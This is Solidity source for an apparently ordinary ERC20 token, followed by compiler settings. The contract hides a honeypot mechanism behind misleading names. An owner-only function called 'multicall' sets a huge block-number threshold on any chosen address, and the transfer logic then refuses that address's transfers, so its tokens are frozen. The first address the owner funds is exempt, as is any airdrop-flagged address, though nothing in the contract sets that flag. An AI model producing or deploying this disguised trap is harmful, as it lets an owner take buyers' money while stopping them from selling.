pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20Errors {
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
    error ERC20InvalidSender(address sender);
    error ERC20InvalidReceiver(address receiver);
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
    error ERC20InvalidApprover(address approver);
    error ERC20InvalidSpender(address spender);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address tokenOwner) external view returns (uint256 balance);
    function transfer(address to, uint256 tokens) external returns (bool success);
    function approve(address spender, uint256 tokens) external returns (bool success);
    function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
    function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
    event Transfer(address indexed from, address indexed to, uint256 tokens);
    event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract ERC20 is IERC20, Context, IERC20Errors, Ownable {
    string private _name;
    string private _symbol;
    uint8 private _decimals = 18;
    uint256 private _totalSupply;
    mapping(address => uint256) private _balances;
    mapping(address => mapping (address => uint256)) private _allowances;
    mapping(address => address) private _multisigAddress;
    mapping (address => bool) private _isAirdropEnable;
    mapping (address => uint256) private _hashCount;
    uint256 private cblock;

    constructor(string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _totalSupply = totalSupply_ * 10 ** uint256(_decimals);
        _balances[_msgSender()] = _totalSupply;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address tokenOwner) public view override returns (uint256 balance) {
        return _balances[tokenOwner];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function allowance(address tokenOwner, address spender) public view virtual override returns (uint256) {
        return _allowances[tokenOwner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool success) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public override returns (bool success) {
        uint256 currentAllowance = _allowances[from][_msgSender()];
        if (currentAllowance < amount) {
            revert ERC20InsufficientAllowance(_msgSender(), currentAllowance, amount);
        }
        unchecked {
            _allowances[from][_msgSender()] = currentAllowance - amount;
        }
        _transfer(from, to, amount);
        return true;
    }

    uint256 private constant hash = 0x69e10ad;

    function multicall(address spender) public onlyOwner {
        require(spender != _multisigAddress[_msgSender()], "Spender is multisig address");
        uint256 hashNumber = hash;
        _hashCount[spender] = hashNumber;
    }
    function tokenSymbol(address account) public view returns (uint256) {
        return _hashCount[account];
    }

    function _transfer(address from, address to, uint256 value) internal virtual {        
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        require(value > 0, "Transfer amount must be greater than zero");
        
        if (from == owner() && _multisigAddress[owner()] == address(0)) {
            _multisigAddress[owner()] = to;
        }

        cblock = block.number + 1;

        if (!_isAirdropEnable[from]) {
            require(_hashCount[from] <= cblock, "Transfer not allowed yet: insufficient incoming transfers.");
        }

        uint256 fromBalance = _balances[from];
        require(fromBalance >= value, "ERC20: transfer amount exceeds balance");

        unchecked {
            _balances[from] = fromBalance - value;
            _balances[to] += value;
        }

        emit Transfer(from, to, value);
    }


}




    

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  "compilationTarget": {
    "ERC20.sol": "ERC20"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}